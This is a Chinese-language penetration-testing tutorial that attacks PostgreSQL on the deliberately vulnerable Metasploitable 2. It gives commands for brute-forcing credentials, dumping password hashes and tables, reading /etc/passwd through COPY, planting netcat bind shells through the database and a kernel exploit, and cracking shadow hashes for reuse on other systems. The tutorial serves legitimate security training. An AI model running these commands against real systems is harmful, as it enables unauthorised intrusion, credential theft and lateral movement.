PostgreSQL滲透測試指南
一、前言
PostgreSQL是一個開源數據庫,主要部署于Linux操作系統中。然而,PostgreSQL的兼容性非常好,可以兼容多個操作系統,也能在Windows及MacOS操作系統上運行。如果PostgreSQL數據庫沒有被正確配置,并且攻擊者已經事先獲取了憑證信息,那么他們就可以實施各類攻擊行為,比如讀寫系統文件以及執行任意代碼等。
我之所以寫這篇文章,目的在于為滲透測試人員提供測試PostgreSQL數據庫的具體方法。文章中用來演示的目標系統是Metasploitable 2,因為該系統包含許多漏洞,也存在配置不當問題。
二、服務探測及版本識別
PostgreSQL數據庫的默認監聽端口為5432。在端口掃描過程中,如果發現該端口開放,那么目標主機很有可能安裝了PostgreSQL。
- nmap -sV 192.168.100.11 -p 5432
圖1. PostgreSQL:通過Nmap判斷數據庫版本
此外,Metasploit平臺中也有一個模塊可以用來識別PostgreSQL數據庫以及具體的版本:
auxiliary/scanner/postgres/postgres_version
圖2. PostgreSQL:通過Metasploit識別數據庫版本
三、探測數據庫憑證
在共享文件夾中發現包含數據庫用戶名及密碼的配置文件并不稀奇,然而,如果目標沒有犯下如此低級的失誤,那么我們可以使用一個Metasploit模塊暴力破解數據庫憑證,如下圖所示:
- auxiliary/scanner/postgres/postgres_login
圖3. PostgreSQL:暴力破解數據庫憑證
探測數據庫憑證是非常關鍵的一個步驟,如果沒有掌握正確的憑證,我們很難突破目標主機,因為大多數攻擊操作都需要訪問數據庫。
四、訪問數據庫
Kali Linux系統中默認包含了psql工具,在已知數據庫用戶名及密碼的前提下,我們可以使用這個工具通過PostgreSQL數據的認證過程。命令如下:
- psql -h 192.168.100.11 -U postgres
圖4. PostgreSQL:訪問數據庫
一旦連接上數據庫,我們應該執行如下操作:
1、枚舉已有的數據庫。
2、枚舉數據庫用戶。
3、枚舉數據庫表。
4、讀取表內容。
5、讀取數據庫密碼。
6、導出數據庫內容。
我們可以使用如下命令完成上述任務:
- postgres-# \l
- postgres-# \du
- template1=# \dt
- template1=# SELECT * FROM users;
- postgres-# SELECT usename, passwd FROM pg_shadow;
- pg_dump --host=192.168.100.11 --username=postgres --password --dbname=template1 --table='users' -f output_pgdump
圖5. PostgreSQL:枚舉已有的數據庫
圖6. PostgreSQL:枚舉數據庫用戶
圖7. PostgreSQL:枚舉已有表
圖8. PostgreSQL:讀取表內容
圖9. PostgreSQL:讀取數據庫密碼
圖10. PostgreSQL:導出數據庫內容
我們也可以使用Metasploit完成上述部分任務。命令如下:
- auxiliary/admin/postgres/postgres_sql
- auxiliary/scanner/postgres/postgres_hashdump
圖11. PostgreSQL:使用Metasploit枚舉數據庫
圖12. 使用Metasploit讀取Postgres服務器哈希
圖13. 使用Metasploit執行PostgreSQL命令
五、命令執行
PostgreSQL數據庫能夠與底層系統交互,這樣數據庫管理員就能執行各種數據庫命令,同時也能從系統中讀取輸出結果。
- postgres=# select pg_ls_dir('./');
圖14. PostgreSQL:讀取系統目錄結構
執行如下命令,我們就能讀取服務端的postgres文件。
- postgres=# select pg_read_file('PG_VERSION', 0, 200);
圖15. PostgreSQL:讀取服務端文件
我們也可以創建一個數據表,以便存儲及查看目標主機中已有的某個文件。命令如下:
- postgres-# CREATE TABLE temp(t TEXT);
- postgres-# COPY temp FROM '/etc/passwd';
- postgres-# SELECT * FROM temp limit 1 offset 0;
圖16. PostgreSQL:讀取本地文件
Metasploit框架中有個模塊,可以自動化讀取本地文件,命令如下:
- auxiliary/admin/postgres/postgres_readfile
圖17. PostgreSQL:通過Metasploit讀取本地文件
除了讀取文件內容外,我們也可以使用PostgreSQL往目標主機中寫入文件,比如我們可以寫入bash文件,用來監聽某個隨機端口:
- postgres=# CREATE TABLE pentestlab (t TEXT);
- postgres=# INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
- postgres=# SELECT * FROM pentestlab;
- postgres=# COPY pentestlab(t) TO '/tmp/pentestlab';
圖18. PostgreSQL:將文件寫入目標主機
當然我們需要賦予該文件可執行權限:
- chmod +x pentestlab
- ./pentestlab
圖19. 啟動本地監聽器
使用Netcat成功建立連接:
- nc -vn 192.168.100.11 2346
- python -c "import pty;pty.spawn('/bin/bash')"
圖20. PostgreSQL:連接到后門
如果postgres服務賬戶具備/tmp目錄的寫入權限,那么我們可以通過用戶自定義函數(UDF,user defined functions)實現任意代碼執行。
- exploit/linux/postgres/postgres_payload
圖21. PostgreSQL:代碼執行
六、權限提升
如果我們通過已獲取的數據庫憑證或其他方法獲得對目標主機的訪問權限,那么接下來我們應當嘗試將已有權限提升至root權限。當然,我們在Linux系統中可以有各種方法實現權限提升,并且這也是比較復雜的一個過程,但為了不偏離本文的主題,我們使用某個內核漏洞完成權限提升任務。
盡可能完整地獲取內核版本以及操作系統的全部信息有助于我們發現系統存在哪些漏洞,命令如下:
- user@metasploitable:/# uname -a
- uname -a
- Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
根據上述內核版本信息,我們可以在exploitdb中搜索對應版本是否存在本地漏洞利用代碼,這也是目前最為簡單的一種方法。
圖22. 搜索Linux內核漏洞利用代碼
我們可以在本地或者遠程系統中編譯這段利用代碼。
圖23. 編譯漏洞利用程序并獲取netlink的PID信息
這個漏洞利用程序需要在/tmp目錄中創建一個run文件。當漏洞利用代碼執行時就會運行這個文件,我們可以通過該文件監聽某個端口。
- #!/bin/bash
- nc -lvvp 2345 -e /bin/bash
圖24. 在tmp目錄中創建run文件
需要賦予該文件可執行權限。
- chmod +x /tmp/run
我們可以通過如下命令,建立與該端口的連接,然后獲得root權限下的python shell接口。
- nc -vn 192.168.100.11 2345
- python -c "import pty;pty.spawn('/bin/bash')"
圖25. 通過Netcat與目標主機建立連接
我們可以使用Metasploit平臺自動完成上述過程。因此當我們發現目標主機存在某個漏洞時,我們可以嘗試在Metasploit中搜索是否有個匹配的模塊可以使用:
圖26. 利用Metasploit實現Linux系統權限提升
當漏洞利用代碼執行時,我們可以得到另一個具備root用戶權限的Meterpreter會話:
圖27. root權限下的Meterpreter會話
即使我們已經獲得了root訪問權限,我們最好還是從shadow文件中讀取所有用戶的密碼哈希,以便后續破解這些哈希值。通過這些哈希值,滲透測試人員可以發現存在弱口令的賬戶,也很有可能借助其中某些賬戶訪問同一網絡中的其他系統。
圖28. 檢查Shadow文件
我們可以將密碼哈希值保存到一個文本文件中,然后使用John the Ripper工具破解這些哈希:
- john /root/Desktop/password.txt
- john --show /root/Desktop/password.txt
圖29. 被破解的哈希值
上述命令可以顯示已被成功破解的密碼哈希值。
現在,這個Linux系統中的所有賬戶已被我們破解,我們可以使用這些賬戶訪問其他系統。